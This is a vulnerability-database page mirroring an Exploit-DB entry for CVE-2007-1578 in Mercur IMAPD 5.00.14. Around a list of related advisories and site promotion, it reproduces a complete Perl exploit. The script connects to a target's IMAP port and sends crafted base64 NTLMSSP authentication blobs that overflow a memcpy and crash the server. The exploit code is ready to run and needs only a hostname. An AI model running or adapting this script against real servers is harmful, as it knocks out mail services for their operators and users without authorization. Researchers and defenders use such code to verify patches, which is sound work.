Lucene search
+L

Mercur IMAPD 5.00.14 (Windows x86) - Remote Denial of Service

🗓️ 20 Mar 2007 00:00:00Reported by mu-bType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Mercur IMAPD 5.00.14 (Windows x86) Remote Denial of Servic

Related
Code
ReporterTitlePublishedViews
Family
Check Point Advisories
Atrium Software MERCUR IMAPD NTLMSSP Command Handling Memory Corruption (CVE-2007-1578)
6 Jun 201000:00
checkpoint_advisories
CVE
CVE-2007-1578
21 Mar 200723:00
cve
Cvelist
CVE-2007-1578
21 Mar 200723:00
cvelist
Tenable Nessus
MERCUR Messaging IMAP Server NTLM Authentication NTLMSSP Argument Remote Overflow
30 Apr 200700:00
nessus
NVD
CVE-2007-1578
21 Mar 200723:19
nvd
Prion
Stack overflow
21 Mar 200723:19
prion
Saint
MERCUR imapd NTLMSSP
3 Apr 200700:00
saint
Saint
MERCUR imapd NTLMSSP
3 Apr 200700:00
saint
Saint
MERCUR imapd NTLMSSP
3 Apr 200700:00
saint
Saint
MERCUR imapd NTLMSSP
3 Apr 200700:00
saint
Rows per page
#!/usr/bin/perl
#
# mercur-v1.pl
#
# Mercur v5.00.14 (win32) remote exploit
# by mu-b - Dec 2006
#
# - Tested on: Mercur v5.00.14 (win32)
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");

    $buf = "1 AUTHENTICATE NTLM\r\n";
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload\n");

    # src = "NTLMSSP....."
    $buf = "NTLMSSP".("A"x100);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    # memcpy(s, src+a, b);
    print("-> * Sending payload 2\n");
    $buf = "NTLMSSP".
           "\x69".
           "\x03\x00\x00\x00".
           "\xff\xff".         # b
           ("A"x2).
           "\x00\x00".         # a
           ("A"x2).
           "\x00\x00".
           ("A"x2).
           "\x00\x00".
           ("A"x2).
           "\x04\x00".
           ("A"x6).
           "\x00\x80".
           ("A"x6).
           "\x04\x00".
           ("A"x12);

    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("Mercur v5.00.14 (win32) remote exploit\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-03-20]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.16309
27